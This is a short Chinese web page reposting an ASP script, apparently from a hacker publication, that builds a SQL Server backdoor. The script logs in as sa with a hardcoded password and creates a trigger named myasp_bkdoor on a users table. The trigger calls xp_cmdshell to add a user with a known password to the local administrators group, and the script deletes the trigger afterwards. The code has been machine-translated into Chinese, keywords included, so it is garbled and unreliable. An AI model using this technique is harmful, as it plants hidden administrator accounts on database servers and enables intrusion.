点评：基于ASP代码的一篇文章《雪山剑神》，他的文章在黑7和八月发行。





复制代码代码如下所示：
<
当您使用它时，内部的变量代码将被更改。
下次继续出错
设置conn = server.createobject（数据连接）
DSN =司机= { SQL Server }；服务器=（本地） GSQL；数据库=婴儿；UID = SA；pwd= LCX；
康涅狄格州开DSN
如果conn.state = 1
response.write（成功）
SQL =创建触发器myasp_bkdoorCHR（10）CHR（13）users_member CHR （10）与（13）更新后CHR （10）与（13）（10）作为CHR CHR（13）如果用户= = 'sa的CHR（'dbo'or用户10）CHR（13）开始CHR（10）与（13）或（10）print'dbo SA logon'chr CHR（13）执行主.. xp_cmdshell'net用户测试123456 / addnet localgroup administrators测试/添加CHR（10）CHR（13）端CHR（10）（13）其他CHR CHR（10）与（13）（10）开始CHR CHR（13）print'not dbo或SA privilage'chr（10）CHR（13）端CHR（10）CHR（13）建立myasp_bkdoor触发触发宝宝图书馆users_member更新和用户操作
SQL1 =更新users_member设置电子邮件帐号ID = 1 = 3，触发
=myasp_bkdoor SQL2删除触发器
集= conn.execute（SQL）conn.execute（SQL1，irowsaffected，h0001）的conn.execute（SQL2）的触发
直到rs.eof做
响应。写vbnewline
我rs.fields.count = 0 - 1
sqlout（OR（I））vbnewline 响应。写
下一个
响应。写vbnewline
移到下一项
环
其他的
response.write（失败）
最后如果
%>